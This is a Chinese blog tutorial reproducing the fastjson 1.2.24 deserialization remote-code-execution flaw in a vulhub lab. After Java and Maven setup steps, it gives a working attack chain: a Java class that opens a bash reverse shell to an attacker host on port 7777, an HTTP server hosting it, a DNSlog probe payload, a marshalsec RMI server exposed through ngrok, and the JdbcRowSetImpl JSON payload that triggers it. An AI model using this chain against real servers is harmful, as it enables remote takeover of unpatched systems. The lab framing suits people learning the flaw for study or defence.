fastjson反序列化漏洞手把手复现

0 fastjson漏洞原理

1 初始环境

1、准备攻击主机B中的环境

Java1.8版本准备

maven环境准备,安装mvn命令

1.1 kali安装java8环境

参考
https://blog.csdn.net/fly_enum/article/details/134790437
(1)下载安装jav8
需要登录网址 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html ,选择自己需要的java版本下载

cd /opt/
wget https://download.oracle.com/otn/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz
tar -xvzf jdk-8u20-linux-x64.tar.gz

(2)设置环境变量
vim /etc/profile

export JAVA_HOME=/opt/jdk1.8.0_20
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH 

保存退出,source /etc/profile
(3 ) 配置java 8优先级为1

依次执行命令:

update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_20/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_20/bin/javac 1

切换JDK版本

update-alternatives --config java

在这里插入图片描述
(4) 查看java版本

java -version
javac -version

1.2 kali安装maven

kali是无法直接安装mvnDDe ,直接使用apt-get 安装软件将提示:

Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package ****

(1)kali安装mvn
参考:
https://blog.csdn.net/weixin_42250835/article/details/120349852

(1)官网下载 https://maven.apache.org/download.cgi

wget https://dlcdn.apache.org/maven/maven-3/3.9.8/binaries/apache-maven-3.9.8-bin.tar.gz

(2)解压maven安装包

mv apache-maven-3.9.8-bin.tar.gz /opt/
cd /opt/
tar -zxvf apache-maven-3.9.8-bin.tar.gz

(3)配置maven: vim /etc/profile

在配置文件配置中加上:

export MAVEN_HOME=/opt/apache-maven-3.9.8
export PATH=$MAVEN_HOME/bin:$PATH

注意 fi if 语句结尾需要有一行留空!
在这里插入图片描述
(4)配置maven mvn ,根据自己的包路径修改一下

update-alternatives --install /usr/bin/mvn mvn /opt/apache-maven-3.9.8/bin/mvn 1

(5)刷新配置文件让文件生效

	source /etc/profile

这里有点坑,就是当你执行完 source /etc/profile 没有任何的提示信息,其实 到了这一步已经成功了
(6)查看maven 版本验证

mvn -version 或者 mvn -v
在这里插入图片描述

2 漏洞利用

环境准备:
docker容器、vulhub靶场部署、java1.8、maven、KALI系统、LINUX系统、Windows系统,公网IP

需要三台设备:
1)主机A(目标靶机)
2)主机B(攻击方-rmi服务器&利用工具)
3)主机C(攻击方-恶意文件构造及映射)

2.0 准备靶场环境

主机A部署好vulhub后,进入vulhub/fastjson/目录

cd /home/ubuntu/Desktop/vulhub/fastjson/  
cd 1.2.24-rce
docker-compose up -d
docker ps 

在windows机器里访问 http://192.168.110.131:8090/,显示下面这个页面则为靶场开启成功。在这里插入图片描述

2.1 编写反弹shell脚本

(1)编写GetShell.java
注意反弹连接的主机如果为阿里云,记得设置安全组,开通入站规则中7777端口的连接

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
class GetShell {
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.110.132/7777 0>&1"};
 //这里的IP记得改为目标靶机的IP
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
}
}
}

(2)编译

javac GetShell.java    //老样子,编译一下,输出class文件;(跟之前的class文件放在一起)

(3)开启服务

python -m http.server 4444  

(4)访问服务:
访问4444端口,确定class文件映射出来了
在这里插入图片描述
(5)漏洞探测-使用DNSlog
访问DNSlog平台http://www.dnslog.cn/
生成新的域名

{"zeo":{"@type":"java.net.Inet4Address","val":"test.08ubjr.dnslog.cn"}}

在这里插入图片描述
观察DNSlog平台有访问记录,则可能存在漏洞在这里插入图片描述

2.2 用marshalsec反序列化漏洞利用工具搭建RMI服务

(1)这里需要搭建RMI服务,首先下载marshalsec

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/     //下载成功后,进入对应目录下
mvn clean package -Dmaven.test.skip=true      //快速清理项目、编译源代码、打包项目,同时跳过耗时的测试阶段。(有的文章是使用mvn clean package-DskipTests
,这个命令是老版本的,我会失败,所以换了长的这个版本)

在这里插入图片描述

(2)使用marshalsec工具,监听主机C构造的恶意代码文件的地址
使用marshalsec工具,开启RMI服务,监听9999端口,并指向我们的恶意代码文件地址
这里第135后面跟的4444端口是开启Http映射的时候设置的端口,后面的9999端口是我们rmi服务用来监听的端口

cd /marshalsec/target/     //进入target目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.132:4444/#GetShell" 9999 

2.3 漏洞利用

(1)使用ngrok将RMI监听的9999映射到公网上,因为内网无法让靶机访问到
kali机器执行。ngrok使用参考https://editor.csdn.net/md/?articleId=136709943

ngrok tcp 9999

在这里插入图片描述
(2)向靶机执行恶意代码

{
 "x": {
 "@type": "com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName": "rmi://0.tcp.jp.ngrok.io:15060/GetShell",
 "autoCommit": true
 }
}

在这里插入图片描述
(3)观察攻击是否成功
RMI监听道新的连接成功:
在这里插入图片描述
公网IP监听到反弹shell成功
在这里插入图片描述

参考

用marshalsec & Jndi注入利用工具(JNDI-Injection-Exploit)复现Fastjson反序列化漏洞–保姆级!复现过程!
少走弯路之marshalsec的编译(RMI必备工具)
学习Fastjson 1.2.47 远程命令执行漏洞
每天了解一个漏洞——fastjson
干货|最全fastjson漏洞复现与绕过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值